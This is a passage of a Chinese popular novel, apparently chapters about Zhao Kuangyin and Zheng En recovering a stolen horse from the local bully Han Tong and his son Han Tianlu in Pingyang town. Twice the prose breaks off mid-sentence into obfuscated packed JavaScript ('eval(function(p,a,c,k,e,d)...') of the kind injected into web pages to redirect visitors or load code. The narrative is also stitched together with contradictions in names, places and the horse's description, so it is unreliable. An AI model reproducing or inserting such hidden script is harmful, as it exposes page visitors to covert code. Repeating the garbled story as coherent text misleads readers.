两人说着就进了镇口,只见街上人来人往,叫卖声此起彼伏:有卖糖人的小贩举着插满彩色糖人的草把子,有耍把式的在空地上翻跟头,还有铺子门口挂着五颜六色的布料,引得不少妇人驻足挑选。郑恩看得眼睛都直了,还拉着赵匡胤说要给他买个糖人,赵匡胤笑着摆手说自己不爱吃甜的,让他自己买。 两人找了家“悦来客栈”,把马交给客栈里的马夫去喂,又挑了一间干净的客房放下行李。没过多久,店小二就端来了热腾腾的饭菜,两人狼吞虎咽地吃完,眼看天快黑了,便各自上床睡觉,准备第二天再好好逛逛镇子。 第二天吃过早饭,赵匡胤叫住店小二问道:“小二,你们这镇子叫什么名字啊?” 店小二一边擦桌子一边笑着回答:“客官,咱们这地方是东西方向的必经之路,名叫平阳镇,可是这一带最热闹的镇子了!” 赵匡胤转头对郑恩说:“三弟,咱们这些年东奔西跑,就是为了找大哥柴荣。可跑了这么多地方,连他的影子都没见到。这平阳镇是通衢大路,来往的人多,说不定能打听到大嫂的消息。咱们反正闲着也是闲着,不如出去逛逛,顺便问问人,万一能遇上大哥呢?” 郑恩一听,立刻来了精神:“二哥说得对!不过咱们也别白逛,把你的马牵出去遛遛,让它也吃点新鲜的青草,省得在马厩里待着憋屈。”赵匡胤点头同意,郑恩便兴高采烈地去马厩牵马,赵匡胤则锁好房门,跟着郑恩出了客栈。 两人牵着马走在大街上,看着两旁的铺子,时不时停下来问问路人有没有见过柴荣。走到一个三岔路口时,突然涌过来一群人,像是前面有什么热闹可看,你推我搡地往前挤。赵匡胤和郑恩被人群冲散,赵匡胤想拉住郑恩,却被几个路人挡住了去路。等他好不容易挤出人群,回头一看,早就没了郑恩的影子。 赵匡胤心里有些着急,四处张望了半天也没看见郑恩,心里琢磨着:“这黑小子性子粗,说不定没看见我,就牵着马先回客栈了?”他又在附近找了一圈,还是没找到,只好先回客栈等着。 再说郑恩,被人群冲散后,也急着找赵匡胤。他牵着马在人群里钻来钻去,喊了好几声“二哥”都没人应。他心里想:“说不定二哥往前走了,我赶紧追上去,别让他等急了。”于是牵着马往前跑,跑了大概一箭地的距离,就看见前面围着一群人,里面传来锣鼓声,像是在演什么戏。 郑恩心里一动:“说不定二哥在里面看戏呢?我过去瞧瞧。”他赶紧牵着马挤到人群后面,踮着脚往里看,原来里面是个耍傀儡戏的,只见几个木头做的小人在艺人的操控下,一会儿翻跟头,一会儿舞刀枪,还伴着艺人的唱腔,引得周围的人阵阵叫好。 郑恩看得入了迷,忍不住哈哈大笑起来,还使劲拍了拍手。可他光顾着高兴,没注意手里的缰绳已经松了。那匹棕红色的骏马本就不喜欢被人牵着,一见缰绳松了,立刻挣脱开来,撒开四蹄往前跑。郑恩正看得起劲,忽然听见身后传来“哒哒”的马蹄声,回头一看,马已经跑出老远了。 “坏了!”郑恩心里一慌,也顾不上看戏了,拔腿就去追马。他心里又急又悔:这马可是二哥的宝贝,去年在滁州帮百姓除匪的时候,这马是匪首的坐骑,不仅跑得快,还通人性,好几次在危急关头救过二哥。要是马丢了,二哥嘴上不说,心里肯定难受——更何况还是因为自己看傀儡戏走神丢的! 郑恩撒开大步追了出去,粗重的喘气声混着马蹄声在耳边响。不知不觉跑出了平阳镇,路边的农田从稀疏的麦苗变成了茂密的树林,估摸着离镇子得有二里地了,才看见那匹马正低着头啃树林边的青草,尾巴时不时甩两下,像是根本不知道自己闯了祸。 郑恩赶紧跑过去,一把抓住缰绳,气得照着马屁股打了几拳,嘴里骂道:“你这畜生!差点让乐子没法跟二哥交代!”骂完,他也累得不行,把马拴在旁边的大树上,自己则坐在地上喘气。 这树林里的树木长得又高又密,阳光透过树叶的缝隙洒下来,形成一片片光斑,倒也显得清幽。郑恩歇了一会儿,正抬头四处打量,忽然听见“叮铃铃”一声脆响,一只羽毛金黄的鸟儿飞了过来,落在离他不远的地上。这鸟儿的脚上拴着一根细绳子,尾巴上还挂着个小铃铛,身上的羽毛油光水滑,看着十分漂亮。 郑恩本就是个粗人,哪里认识什么名贵的鸟儿,见这鸟儿长得肥壮,眼睛一亮:“正好乐子心里烦,没想到捡了只野鸡!带回去给二哥下酒,也不算白跑这一趟。”他站起身,轻手轻脚地走过去,一把抓住了那只鸟。 可这鸟不是普通的野鸡,而是韩天禄精心驯养的黄鹰。黄鹰见有人抓它,立刻回过头,用尖尖的嘴狠狠啄了郑恩的手一下,还死死咬住不放。郑恩疼得“哎哟”一声,顿时火冒三丈,一把攥住黄鹰的翅膀,往地上狠狠一摔,又抬脚踩住,伸手就去拔黄鹰的羽毛。没一会儿,地上就堆了一堆金黄的羽毛,黄鹰光秃秃的身子在地上挣扎着,发出“咕咕”的惨叫声。 郑恩看着黄鹰的惨样,哈哈大笑:“你这小东西,还敢啄乐子?等会儿就让你到热汤里洗澡,看你还横不横!” 就在这时,树林外传来一阵脚步声,紧接着进来了五六个人,手里拿着梢棒,还牵着两条猎犬。为首的两个人,一个身材瘦小,一个长得五大三粗,正是韩天禄的跟班李四和张三。他们本来跟着黄鹰出来打猎,黄鹰刚才追捕一只兔子时受了伤,飞进了这片树林,两人赶紧追过来,没想到刚进树林就看见地上的鹰毛,还有那只光秃秃的黄鹰。 李四惊叫一声:“我的娘啊!谁把公子的黄鹰弄成这样了?”张三也急了,四处张望,一眼就看见坐在树边的郑恩,立刻指着他喊道:“肯定是那个黑汉干的!咱们过去问问他!” 几个人一起走到郑恩面前,李四先开口,语气还算客气:“这位好汉,我们刚才有一只黄鹰飞进了树林,你有没有看见啊?” 郑恩斜了他们一眼,满不在乎地说:“乐子刚才坐在这儿,看见一只野鸡飞过来,已经把它的毛拔了,准备带回去下酒。没见过什么黄鹰。” 张三一听,立刻火了,指着郑恩骂道:“你这毛贼!明明是你把公子的黄鹰弄死了,还敢说是野鸡?赶紧赔我们的鹰,不然别怪我们对你不客气!” 郑恩本来就因为丢马的事心里不痛快,一听这话也来了脾气,瞪圆了眼睛骂道:“你们这群驴球入的!这是乐子捡的野鸡,跟你们有什么关系?还敢来讹乐子?门都没有!” 李四赶紧拉了拉张三,小声说:“别跟他吵,先跟他说清楚公子的身份,让他知难而退。”张三这才压了压火气,冷笑着说:“你这黑汉,怕是不知道我们公子是谁吧?告诉你,我们公子是本镇团练教师韩老老爷的儿子韩天禄!这只黄鹰是公子的心肝宝贝,花了五十两银子买来的,你今天要是不赔,就跟我们去见公子,到时候有你好受的!” 郑恩一听“韩天禄”三个字,心里也没当回事,还想跟他们争辩,可张三已经不耐烦了,对身后的人喊道:“别跟他废话,把他绑起来带回去见公子!”几个人立刻拿着梢棒围上来,郑恩也不含糊,站起身就跟他们打了起来。 郑恩虽说性子粗,但拳脚功夫可不弱,只见他抡起拳头,像流星赶月似的打向众人。张三举着梢棒朝他头上砸来,郑恩弯腰躲开,一拳打在张三的肚子上,张三疼得捂着肚子蹲在地上。李四见势不妙,想从后面偷袭,郑恩耳朵尖,听见身后有动静,回头一脚把李四踹倒在地。没一会儿,就有三四个人被郑恩打倒了。 剩下的人见郑恩厉害,不敢再上前,只好围着他大喊大叫,想把他困在原地,等韩天禄来支援。 没过多久,就听见树林外传来一阵马蹄声,韩天禄带着十几个乡兵来了。他穿着一身绸缎衣服,骑着一匹白马,看见前面围了一群人,便勒住马,叫过一个没被打倒的跟班问道:“怎么回事?为什么在这里吵吵闹闹的?” 那个跟班赶紧跑过去,指着郑恩说:“公子,就是这个黑汉,把您的黄鹰弄死了,我们让他赔,他还动手打人!” 韩天禄顺着他指的方向看去,只见郑恩赤手空拳站在中间,身材高大,满脸怒气,倒像是个不好惹的角色。他又扫了一眼旁边的大树,看见那匹棕红色的骏马拴在树上,眼睛顿时亮了——他前几天还跟手下抱怨自己的白马不够神骏,今天竟遇上这么一匹好马,心里立刻打起了算盘。 韩天禄翻身下马,慢慢走到人群外,盯着郑恩冷笑道:“你就是弄死我黄鹰的人?我这黄鹰可是稀有的品种,你打算怎么赔?” 郑恩梗着脖子说:“那是乐子捡的野鸡,凭什么赔你?倒是你们,围着乐子想干什么?” 韩天禄懒得跟他争辩,悄悄拉过身边的李四,压低声音说:“你去把那匹马的缰绳解了,牵到我跟前来,动静小点,别让他发现。” 李四有些犹豫:“公子,这黑汉看着挺能打的,要是被他发现了……” 韩天禄瞪了他一眼:“怕什么?咱们这么多人,他一个人还能翻天?再说了,他弄死了我的黄鹰,拿他的马抵债,天经地义!” 李四不敢再劝,猫着腰绕到树后,手忙脚乱地解开缰绳。那匹骏马似乎察觉到不对,甩了甩头想挣开,却被李四死死拽着缰绳往韩天禄那边拉。韩天禄见李四把马牵过来了,立刻翻身上马,对着众人高声喊道:“你们都听着!这黑汉弄死了我的黄鹰,我已经把他的马牵走抵债了。他要是想要回马,就拿同等价值的东西来赔我的鹰;要是赔不起,这马就归我了!你们都散了吧,别在这儿跟他浪费时间!” 说完,韩天禄双腿一夹马肚子,带着乡兵和李四、张三等人往自己的庄子去了。那些围着郑恩的跟班见公子走了,也不敢再待,赶紧扶着受伤的人跑了。 郑恩这才反应过来,赶紧去看自己的马,却只看见空荡荡的缰绳挂在树上,马早就没影了。他气得暴跳如雷,在树林里来回转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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赵匡胤一听“韩通”两个字,脸色顿时沉了下来——他之前在大名府的勾栏院,就因为韩通欺负百姓,跟韩通打过一架,没想到这小子竟然跑到平阳镇来作恶了。赵匡胤握紧了手里的神煞棍棒,对郑恩说:“好!既然是韩通的儿子,那这马必须要回来!我还得好好跟韩通算算旧账,看看他在这儿到底害了多少百姓!” 说着,赵匡胤就叫来了店小二。店小二一进房,就看见两人脸色不好,心里有些发慌。赵匡胤问道:“小二,你知道本镇的团练教师韩通住在哪里吗?” 店小二一听“韩通”两个字,脸都白了,连忙摆手说:“客官,您问韩通干什么?我劝您还是别惹他了,别说一匹马,就算是十匹,也别想要回来!” 赵匡胤皱着眉头问:“怎么回事?他难道有这么大的势力?” 店小二压低声音,小心翼翼地说:“客官您有所不知,这韩通可不是一般人!他拳棒功夫厉害,为人又凶狠,两年前带着家小从大名府来到咱们平阳镇,仗着自己会点功夫,横行霸道。他不仅强占了刘员外的大庄子,还自称是团练教师,收了一二百个徒弟,又养了一群乡兵,每天在镇上向百姓收钱,说是‘保护费’,要是有人不肯交,就会被他的人打骂。” 店小二顿了顿,又接着说:“我去年亲眼看见,镇东头的张木匠因为家里穷,交不起‘保护费’,被韩通的手下打断了腿,躺了三个多月才能下床。还有原来的刘员外,就是被韩通抢了庄子的那个,刘员外跟他理论,被韩通一拳打在胸口,吐了血,后来韩通的儿子韩天禄看中了刘员外的女儿,硬要抢去做小妾,刘小姐性子烈,当夜就投了井……咱们镇上的人都怕他,没人敢跟他作对,您二位是外地来的,还是别跟他硬碰硬了,免得吃亏。” 赵匡胤听了,心里的火气更盛了,对店小二说:“小二,你不用怕,我们既然敢去找他,就有办法要回马。你只要告诉我们他的庄子在什么地方就行了。” 店小二见赵匡胤态度坚决,只好叹了口气说:“既然您一定要去,那我就告诉您吧。韩通的庄子在平阳镇的正南方向,过了野鸡林,有一片大树林,他的庄子就在树林里面。您去的时候一定要小心,最好别跟他起冲突。”说完,店小二就赶紧退了出去,像是怕沾染上什么麻烦。 赵匡胤对郑恩说:“兄弟,你知道吗?这个韩通,就是我之前跟你说过的,在大名府勾栏院被我打的那个恶霸。他现在又在这儿害百姓,今天我一定要好好教训他,让他知道厉害!” 郑恩一听,立刻抄起自己的酸枣棍,兴奋地说:“乐子就知道韩通不是好东西!咱们现在就去野鸡林,找他要回马,顺便教训教训那个韩天禄!” 两人正准备出门,客房的门突然被轻轻推开了,一个穿着粗布衣服的年轻人走了进来。他大约二十岁左右,脸上带着几分憔悴,却眼神坚定。年轻人对着两人拱了拱手,小声说:“二位好汉,我是刘员外的儿子刘二郎。刚才在门外听见你们要去找韩通,特意来跟你们说几句话。” 赵匡胤和郑恩对视一眼,赵匡胤问道:“你是刘员外的儿子?你有什么事要跟我们说?” 刘二郎眼眶一红,低声说:“韩通抢了我家的庄子,害死了我父亲和妹妹,我一直想报仇,可我没本事,只能在客栈里帮工,等着机会。韩通的庄子我熟,他平时把乡兵分在东西两边的厢房,正门有两个守卫,不过每天下午申时,守卫会换班,换班的时候有半柱香的空隙,门口没人。还有,庄子后院有个狗洞,能通到马厩附近,要是你们想偷偷进去找马,从那儿走更安全。” 赵匡胤拍了拍刘二郎的肩膀,郑重地说:“兄弟,谢谢你告诉我这些。我们此去不仅要拿回马,还要替镇上的百姓除了韩通这个祸害,为你父亲和妹妹报仇!” 刘二郎激动得眼泪都快流下来了,又叮嘱道:“韩通的功夫很好,你们一定要小心,他手下的乡兵也都带着兵器,千万不要大意。” 赵匡胤点了点头,和郑恩一起提了兵器,跟着刘二郎出了客栈,往正南方向的野鸡林走去。一路上,郑恩摩拳擦掌,恨不得立刻就跟韩通打上一架;赵匡胤则在心里盘算着怎么对付韩通和他的手下,确保既能拿回马,又能不伤害无辜的百姓。 到了野鸡林,刘二郎指着前面的大树林说:“二位好汉,韩通的庄子就在那片树林里,我就不跟你们进去了,免得被韩通的人认出来。我在林外等着你们,要是有什么情况,我也好给你们报信。” 赵匡胤和郑恩谢过刘二郎,悄悄走进了树林。没走多久,就看见一座大庄子,庄子的围墙很高,门口挂着“韩府”的牌子,两个守卫正站在门口闲聊。赵匡胤对郑恩说:“兄弟,现在还没到换班时间,咱们先在旁边躲一会儿,等守卫换班了再进去。你先去庄子后面看看那个狗洞,确认一下位置,我在这里盯着门口的动静。” 郑恩点头答应,拎着酸枣棍绕到庄子后面去了。赵匡胤则躲在一棵大树后面,密切关注着门口的守卫,心里暗暗想着:韩通,这次我一定要让你为自己的恶行付出代价! 至于韩通会不会出来迎战,赵匡胤和郑恩能不能顺利拿回马,还要看下一回才能知道。 29. 第 29 章 话说郑恩丢了赵匡胤那匹赤兔胭脂马,一路跌跌撞撞往客栈跑,进门时满头大汗,粗布皂衣都被汗湿透了,贴在宽厚的背上,连气都喘不匀。他一把抓住客栈老板王二的胳膊,声音又急又粗:“王、王老板!快说!是不是韩通那狗东西的儿子,把二哥的赤兔马给抢了?” 赵匡胤正坐在窗边喝茶,见郑恩这模样,手里的茶碗顿了顿,眉头皱了起来——那赤兔马是他从友人处得来的宝马,不仅跑得快,关键时刻还能护主,怎么会平白被抢?他放下茶碗起身,按住郑恩的肩膀让他坐下,又给了他一碗凉茶:“三弟别急,慢慢说,到底怎么回事?” 王二在一旁听得心惊,搓着手叹道:“赵客官、郑客官,这事还真被郑客官说中了。方才我在后院喂马,就见韩通的儿子韩天禄带了四五个徒弟,骑着马耀武扬威地过,其中一匹红马,跟郑客官早上牵回来的那匹一模一样。我还听见韩天禄跟徒弟吹牛,说‘这马是赵匡胤的,爹说了,抢过来咱们以后出门更威风’——我正想跟您二位说,郑客官就先跑回来了。” 王二还补了句,声音压得低了些:“这韩通在平阳镇就是土霸王,前阵子抢了张屠户的年猪,说‘给团练大人贺礼是应该的’;上个月还逼李秀才交十两‘保护费’,李秀才没钱,他就把人家的书都烧了。他儿子韩天禄更是跟着学坏,街上的小孩见了他都躲着走。” 郑恩一听,“啪”地把茶碗往桌上一放,碗底磕得桌子响:“好个韩通!上次在大名府被二哥教训了还不长记性,这次敢抢二哥的马!二哥,咱们现在就去野鸡林,把马要回来,再给他点颜色看看!”说着就抓起靠在墙角的酸枣棍,那棍子是他特意选的硬木,上面还留着上次打斗时的磕碰痕迹。 赵匡胤拉了他一把,沉声道:“三弟别急,韩通既然敢抢马,肯定有防备。咱们先去野鸡林探探情况,你先去叫阵,我在旁边看着,万一有事我再出手——别冲动,免得吃亏。”他心里其实也有气,但多年的历练让他习惯了沉住气,毕竟韩通在平阳镇经营多年,手下徒弟不少,硬拼未必划算。 郑恩攥着酸枣棍,指节都捏得发白,嘴里嘟囔着:“这驴球入的,等我见了他,先打断他的腿!”但还是听了赵匡胤的话,跟着他往野鸡林走。 两人很快到了野鸡林外,远远就看见一座大庄子,院墙是新砌的,门口还站着两个拿梢棒的徒弟,正是韩通强占的刘员外的庄子。赵匡胤躲进旁边的树林里,嘱咐郑恩:“别一开始就动手,先问他要马,他要是不还,你再跟他打。” 郑恩点点头,大踏步走到庄门口,对着里面喊:“韩通!你给老子出来!你儿子抢了我二哥的赤兔马,赶紧交出来,不然老子拆了你的庄子!” 门口的两个徒弟,一个叫周虎,一个叫吴豹,都是韩通的得力手下。周虎见郑恩黑壮高大,手里的酸枣棍比人还粗,吓得往后退了一步;吴豹还想装横,叉着腰喊:“哪里来的黑汉,敢在韩团练的庄门口撒野?” 郑恩眼睛一瞪,举起酸枣棍就往大门上敲,“咚”的一声,门上的漆都掉了一块,木屑乱飞。“你再敢废话,老子先打你!”吴豹吓得脸都白了,拉着周虎就往里面跑,一边跑一边喊:“师父!师父!外面有黑汉打门,要抢马!” 庄内正热闹,韩通坐在正厅的太师椅上,面前摆着一桌子酒菜,都是管家刚备好的“龙驹大会”——为了庆祝韩天禄抢回赤兔马。他的妻子柳氏坐在旁边,手里拿着帕子,皱着眉劝:“当家的,我总觉得心里不安。上次你在大名府被赵匡胤打了,这次天禄又抢了他的马,万一他找来怎么办?” 韩通喝了口酒,把酒杯往桌上一放,不屑地说:“你一个妇道人家懂什么?赵匡胤上次是偷袭,这次我在自己的庄子里,手下有几十个徒弟,他来了也不是我的对手!再说,那赤兔马是宝马,我得了这马,以后在平阳镇更没人敢惹我了。” 韩天禄正拿着赤兔马的缰绳,在厅里来回走,跟旁边的徒弟吹牛:“你们没见过这马跑吧?昨天我骑着它,从镇东跑到镇西,只用了一炷香的时间!以后我爹出去办事,我骑着这马跟着,看谁还敢不服咱们!” 就在这时,周虎和吴豹慌慌张张跑进来,喘着气说:“师父!不好了!外面有个黑汉,拿着大棍子打门,说要您还赤兔马,不然就拆庄子!” 韩通一听,顿时火了,把筷子往桌上一拍:“反了!敢来我的地盘撒野!天禄,跟我出去,让那黑汉知道我的厉害!”说着就抄起靠在墙边的梢棒——那梢棒是他特意找工匠做的,比普通的梢棒粗一圈,上面还包了层铁皮,打下去能断骨头。 柳氏还想劝,韩通已经带着韩天禄和十几个徒弟往外走,嘴里骂着:“今天不打断那黑汉的腿,我就不姓韩!” 郑恩还在门口叫骂,见大门“吱呀”一声开了,一群人拥了出来,两边的徒弟排成雁阵,中间走出来的正是韩通。郑恩眯着眼一看,韩通头戴一字青巾,穿了件杏黄箭服,那箭服的料子是上好的绸缎,郑恩记得上次在大名府,韩通还穿的是粗布衣服——想必是抢来的。韩通手里拿着梢棒,脸上横肉乱跳,一副凶神恶煞的样子。 郑恩大喝一声:“穿杏黄衣服的,你就是韩通?” 韩通抬头看向郑恩,只见这黑汉头戴黑毡帽,身上穿的皂青袍子都洗得发白了,腰间系着块蓝布包袱,手里的酸枣棍比自己的梢棒还粗,站在那里像座黑铁塔。他心里咯噔一下,暗道“这黑汉看着不好惹”,但在徒弟面前不能露怯,还是硬着头皮喊:“老子就是韩通!你是谁?敢来老子的庄门口撒野?” “老子姓郑名恩!”郑恩把酸枣棍往地上一戳,地面都震了一下,“你儿子抢了我二哥赵匡胤的赤兔马,赶紧交出来!要是识相,老子就饶了你;要是不还,我手里的酸枣棍可不长眼!” 韩通心里一紧——原来这黑汉是赵匡胤的人!但他还是嘴硬:“什么赤兔马?我没见过!你平白无故来打我的门,是想找死吗?”说着就举起梢棒,朝着郑恩的头打过去。 郑恩早有准备,举起酸枣棍就挡,“铛”的一声,两根棍子撞在一起,震得韩通的手都麻了。他心里暗惊:“这黑汉力气真大!” 两人打了起来,郑恩的酸枣棍又重又沉,每一下都朝着韩通的要害打;韩通的梢棒灵活,专挑郑恩的胳膊、腿打。一开始两人还不分上下,棍子和梢棒撞在一起,发出“砰砰”的响声,周围的尘土都被扬了起来,连旁边树上的鸟都被惊飞了。 打了二十多个回合,郑恩渐渐有点吃力——他虽然力气大,但招式不如韩通灵活。韩通看出他的破绽,一梢棒打向他的左肩,郑恩躲得慢了,梢棒擦着他的肩膀过去,疼得他咧嘴。他心里想:“这老小子还真有点本事,再打下去我要吃亏了,二哥怎么还不出来?” 躲在树林里的赵匡胤看得清楚,见郑恩要吃亏,赶紧解下腰间的鸾带,顺手一抖,鸾带就变成了一根神煞棍棒。他悄悄绕到庄门口,大喝一声:“韩通!你忘了上次在大名府的教训了吗?还敢在这里胡作非为!” 韩通正想再给郑恩一棒,听见赵匡胤的声音,吓得浑身一哆嗦,回头一看,赵匡胤手里拿着神煞棍棒,正站在他身后。他心里顿时慌了——上次在大名府,他被赵匡胤打得落花流水,现在又被偷袭,哪里还敢反抗? 赵匡胤趁他分神,一脚扫向他的腿,韩通“噗通”一声倒在地上,梢棒也掉在了一边。赵匡胤上前一步,一脚踩在他的胸膛上,手里的神煞棍棒指着他的头:“韩通,你还敢嚣张吗?” 韩通被踩得喘不过气,脸都憋红了,心里又羞又恨——这次在徒弟和儿子面前被打倒,以后怎么立威?但他也知道,现在反抗没用,只能先保命。 郑恩走过来,举起酸枣棍就要打,赵匡胤赶紧拦住他:“三弟,别杀他,留着他还有用。” 韩通一听,赶紧求饶:“赵公子,我错了!马我马上还给你,求你饶了我!” 赵匡胤看着他,冷声道:“饶你可以,但你要答应我三件事:第一,把赤兔马交出来;第二,写一张伏状,承认你强占刘员外的庄子、欺压百姓,以后永远不回平阳镇;第三,跟我去平阳镇,当着百姓的面把伏状读一遍,还刘员外一个公道。” 韩通连忙点头:“我答应!我都答应!” 赵匡胤把脚挪开,韩通爬起来,浑身都软了,不敢看旁边的徒弟和儿子——韩天禄站在一旁,脸都白了,刚才的嚣张劲全没了;徒弟们也低着头,不敢看韩通。 郑恩对着韩通喊:“还愣着干什么?赶紧把马牵出来!” 韩通不敢耽误,赶紧叫周虎去后院牵马。不一会儿,周虎牵着赤兔马过来,那马见了赵匡胤,还用头蹭了蹭他的手,像是在撒娇。赵匡胤摸了摸马的头,把神煞棍棒变回鸾带,系在腰间,翻身上马。 郑恩拿着酸枣棍,押着韩通,对韩通的徒弟和家人说:“你们都不许跟着,韩通要是敢跑,我就回来拆了你们的庄子!” 三人往平阳镇走,刚到镇口,就围过来一群百姓——平阳镇的人都认识韩通,见他被一个黑汉押着,都好奇地围过来。一个老婆婆拄着拐杖,看着韩通,小声对旁边的人说:“这不是韩团练吗?怎么被人押着了?以前他收‘锐银’,我家没钱,他把我家的鸡都抢走了,现在可好了!” 一个年轻人也说:“上次我见他徒弟欺负卖菜的王老汉,劝了一句,他就叫徒弟打我,现在终于有人治他了!” 韩通听着这些话,头埋得更低了,脸都红到了脖子根——他以前在平阳镇说一不二,现在却像个犯人一样被人围观,心里又羞又恨,恨不得找个地缝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“伏状人韩通,因生性顽劣,去年强占平阳镇刘员外的庄子,打伤刘员外之子;平日欺压百姓,收取‘锐银’,抢夺财物,烧李秀才的书籍,种种恶行,惹得天怒人怨。今被赵匡胤壮士教训,自知有错,愿将庄子还给刘员外,赔偿刘员外五十两银子;以后永远离开平阳镇,不再回来欺压百姓。若有违背,任凭平阳镇乡亲处置。 伏状人:韩通 日期:今日” 赵匡胤把伏状递给刘员外和五个老人,他们看了都点头:“写得清楚,这样就好。” 韩通见伏状写好了,赶紧说:“赵公子,伏状我写了,庄子我也还给刘员外,我可以走了吧?” 赵匡胤说:“你可以走,但你要记住,以后再敢欺压百姓,我饶不了你。” 韩通如蒙大赦,赶紧往镇外跑,连头都不敢回。 百姓们围着赵匡胤和郑恩,一个老人说:“壮士,你们可不能走啊!韩通虽然走了,但他肯定记恨在心,万一他以后回来报复,我们可怎么办?” 其他百姓也跟着说:“是啊,壮士,你们就留下来住几个月,帮我们镇住他!我们轮流给你们送吃的!” 郑恩一听,心里乐了——他本来就觉得平阳镇热闹,而且还能顺便打听柴大哥的消息,于是对赵匡胤说:“二哥,咱们就留下来吧!反正咱们也是要找柴大哥,平阳镇是四通八达的地方,说不定能打听着消息。再说,这些乡亲们也不容易,咱们帮他们一把也好。” 赵匡胤心里也盘算着:“三弟说得对,平阳镇确实方便打听消息,而且韩通刚走,乡亲们确实需要人保护。”于是对百姓说:“那我们就留下来住一段时间,最多一个月,等你们稳住了,我们再走。” 百姓们一听,都高兴得拍手叫好。赵匡胤叫人去客栈取行李,把马拴在七圣庙的后院,两人就住在了庙里。 再说韩通,一路慌慌张张跑出平阳镇,到了野鸡林,就看见韩天禄带着徒弟和柳氏在等他。柳氏见他回来,赶紧问:“怎么样了?没出事吧?” 韩通叹了口气,把写伏状的事说了一遍,又说:“平阳镇不能待了,咱们赶紧收拾东西,去禅州找我以前的兄弟王团练——他现在在禅州有权有势,咱们去了他那里,以后再找机会回来报仇!” 柳氏一边打包金银细软,一边哭:“早知道这样,当初就不让天禄抢马了,现在有家不能回……” 韩天禄还不服气,说:“爹,咱们有这么多徒弟,不如回去跟赵匡胤拼了!” 韩通瞪了他一眼:“你懂什么?赵匡胤那小子有本事,咱们现在打不过他!等去了禅州,找王团练帮忙,再招些人手,以后再回来报仇!” 众人收拾好东西,韩通让家人坐上车,自己和韩天禄带着徒弟护着车,连夜往禅州走。路上遇到巡夜的兵丁,韩通赶紧让大家躲在树林里,等兵丁走了才敢出来——他现在就像丧家之犬,连见了兵丁都怕。 韩通这一去禅州,会不会找到王团练?以后会不会回来报复赵匡胤和郑恩?咱们下回再说。 30. 第 30 章 话说韩通被赵匡胤逼着写下伏状时,指节攥得发白,墨汁都顺着指尖滴在了纸上——他活了大半辈子,从军多年,从没受过这般屈辱。待赵匡胤的人走后,他把伏状揉成一团摔在地上,胸口的火气半天压不下去。老仆韩忠在旁边劝了半天,他才猛地回过神:“不行,这汴梁城待不下去了,再留着迟早被那赵匡胤算计!” 连夜收拾细软时,韩通看着妻子王氏忙着打包衣物,十岁的儿子韩瑛攥着他的衣角怯生生问“爹,我们要去哪”,心里像被针扎了似的。他蹲下来摸了摸儿子的头,强压下慌乱:“咱们去寻个安稳地方,以后爹再也不让你受怕。”收拾停当,王氏和丫鬟坐进马车,韩通带着儿子、徒弟周虎,还有老仆韩忠,各骑一匹马,扛着梢棒护在车旁,往禅州方向赶。 一路上韩通脑子里翻来覆去地盘算:赵匡胤势大,自己现在没兵没权,报仇是指望不上了,可一家子总不能一直飘着。他越想越闷,连韩忠递过来的干粮都没胃口吃。正走着,忽然看见前面来了三四十人,一个个面黄肌瘦,却都扛着枪刀剑戟,脚步匆匆。韩通心里一紧,勒住马喝问:“你们拿着兵器,要去做什么?” 人群里走出个矮个子汉子,衣裳打了好几个补丁,正是领头的王二。他抬头看见韩通穿着武将服饰,骑的马也精神,赶紧拱手回话:“这位将军,我们都是附近的百姓,家乡遭了蝗灾,地里颗粒无收,听说禅州的郭令公在招兵,只能去投军混口饭吃。” 韩通盯着王二干裂的嘴唇和众人空空的粮袋,突然心里一动:自己正愁没个依靠,这些人虽说是百姓,可手里有兵器,要是能收在手下,一起去投郭威,说不定还能谋个职位——到时候有了兵权,还怕报不了赵匡胤的仇?他当即放缓语气:“你们要投军正好,那郭令公是我亲戚,我这正要去见他。你们跟我走,到了禅州不仅有饭吃,路上的盘缠我也包了。” 王二等人一听,眼睛都亮了。有个老汉颤巍巍地问:“将军说的是真的?我们这一路都快饿死了,要是能有这好处,我们都听将军的!”韩通笑着掏出银钞,分给众人,王二领着大伙跪下磕头,韩通赶紧扶起来:“都是要投军的人,以后就是同袍,不用多礼。”一行人跟着韩通,脚步都轻快了不少。 到了禅州城,韩通先找了家客店,让王氏带着孩子和韩忠安顿下来,又嘱咐周虎照看众人,自己则出去打听投军的规矩。茶馆里几个老兵闲聊,说投军得先去监军府报名,再由监军引去见郭元帅验看。韩通记在心里,回客店换了身新衣裳,准备了手本和礼单,领着王二、周虎几个领头的,往监军府去。 监军府外已经排了不少投军的人,韩通递上手本,心里还犯嘀咕:不知道这监军是谁,会不会刁难。没等多久,一个军校跑出来喊:“谁是韩通?监军老爷让你进去!”韩通跟着军校进了角门,到大堂前跪下:“投军人韩通,参见监军老爷。” 谁知他刚说完,就听见堂上有人喊:“贤友快起来!”韩通抬头一看,差点愣住——那监军穿着紫袍,面容熟悉,正是他小时候一起长大的柴荣!柴荣几步走下台阶,一把扶起他,握着他的手感慨:“我看手本上写着‘韩通’,还怕不是你,没想到真的是贤兄!” 韩通又羞又喜,跟着柴荣上堂坐下,忍不住叹气:“自从跟你分别,这都好几年了,没想到你现在当了监军,这么风光。我却落得这般田地,实在惭愧。”柴荣赶紧问:“贤兄怎么了?你以前武艺那么好,怎么会来投军?” 韩通把被赵匡胤欺负、逼写伏状的事说了一遍,越说越气:“那赵匡胤仗着势力大,根本不把我放在眼里,我要是有兵权,定要跟他算账!”柴荣拍着桌子怒道:“那赵匡胤也太过分了!贤兄你放心,我姑丈就是郭元帅,明天我带你去见他,以你的本事,肯定能得到重用。” 说完,柴荣让人把其他投军的人都叫进来,一一验看登记,又让人准备宴席。席间两人聊起小时候的事:当年韩通被恶霸欺负,还是柴荣拿着木棍帮他解围;后来柴荣家道中落,韩通还送过他粮食。如今重逢,两人都感慨不已,韩通心里的石头也落了地——有柴荣帮忙,自己总算有了指望。 